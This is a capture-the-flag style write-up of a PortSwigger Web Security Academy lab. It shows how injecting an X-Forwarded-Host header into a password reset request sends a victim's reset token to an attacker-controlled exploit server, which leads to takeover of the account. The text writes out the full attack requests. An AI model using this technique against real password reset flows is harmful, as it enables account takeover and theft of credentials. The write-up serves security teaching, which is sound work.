| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Authentication — Password Reset Poisoning via X-Forwarded-Host |
| Difficulty | Practitioner |
| Objective | Log in to Carlos's account |
| Note | Own credentials wiener:peter; Carlos clicks any link in emails he receives; own emails readable via exploit server email client |
Password Reset Poisoning via Middleware¶
I started by logging in as wiener:peter and exploring the password reset flow.
The forgot password form prompts for a username or email.
The underlying request is straightforward:
POST /forgot-password HTTP/2
Host: 0ab3008603b9ced480ed583000de0013.web-security-academy.net
username=wiener
The resulting email contained a reset link with a token:
web-security-academy.net/forgot-password?temp-forgot-password-token=k8ppkmcmtgx64aon2y54qag686u3o1cl
Resending the request generated a new token and invalidated the previous one — so tokens are single-use and tied to the most recent request.
The interesting question was how the backend constructs the absolute URL embedded in that email. In architectures with reverse proxies, CDNs, or load balancers, the Host header often gets rewritten for internal routing, so backends commonly rely on X-Forwarded-Host to know what domain the client originally requested — which lets them build correct links for things like password reset emails. If the backend trusts that header without validating it, pointing it at infrastructure we control redirects the reset link there instead of the real domain. The only way to confirm this is through the email itself, not the HTTP response, so I tested it manually: sent a baseline request, then one with a decoy value, and compared the links that arrived in the inbox. Automated tools like Param Miner would miss this entirely since they diff HTTP responses and have no visibility into the side channel.
Testing the header:
POST /forgot-password HTTP/2
Host: 0ab3008603b9ced480ed583000de0013.web-security-academy.net
X-Forwarded-Host: teto.com
username=wiener
The email came in with the link pointing at teto.com:
https://teto.com/forgot-password?temp-forgot-password-token=sqryu1ft9uw4immxm9mtynl4u0givt56
Confirmed — the backend follows X-Forwarded-Host directly when constructing the reset URL. That single trust decision is the entire vulnerability.
With the vector confirmed, I pointed X-Forwarded-Host at our exploit server and triggered a reset for Carlos:
POST /forgot-password HTTP/2
Host: 0ab3008603b9ced480ed583000de0013.web-security-academy.net
X-Forwarded-Host: https://exploit-0ad6006b0382ce8b80f9578b018600cc.exploit-server.net
username=carlos
Carlos received a reset email with a link pointing at our exploit server. Since he clicks everything, he followed it — and his token showed up in the access logs.
The token never needed to be intercepted in transit — it just needed to be requested for the victim and the resulting link redirected to infrastructure we control. Carlos's own click leaked it to our logs. With the token captured, I built the real reset URL on the actual lab domain and set a new password.
Logging in as carlos with the new password:
Lab solved :P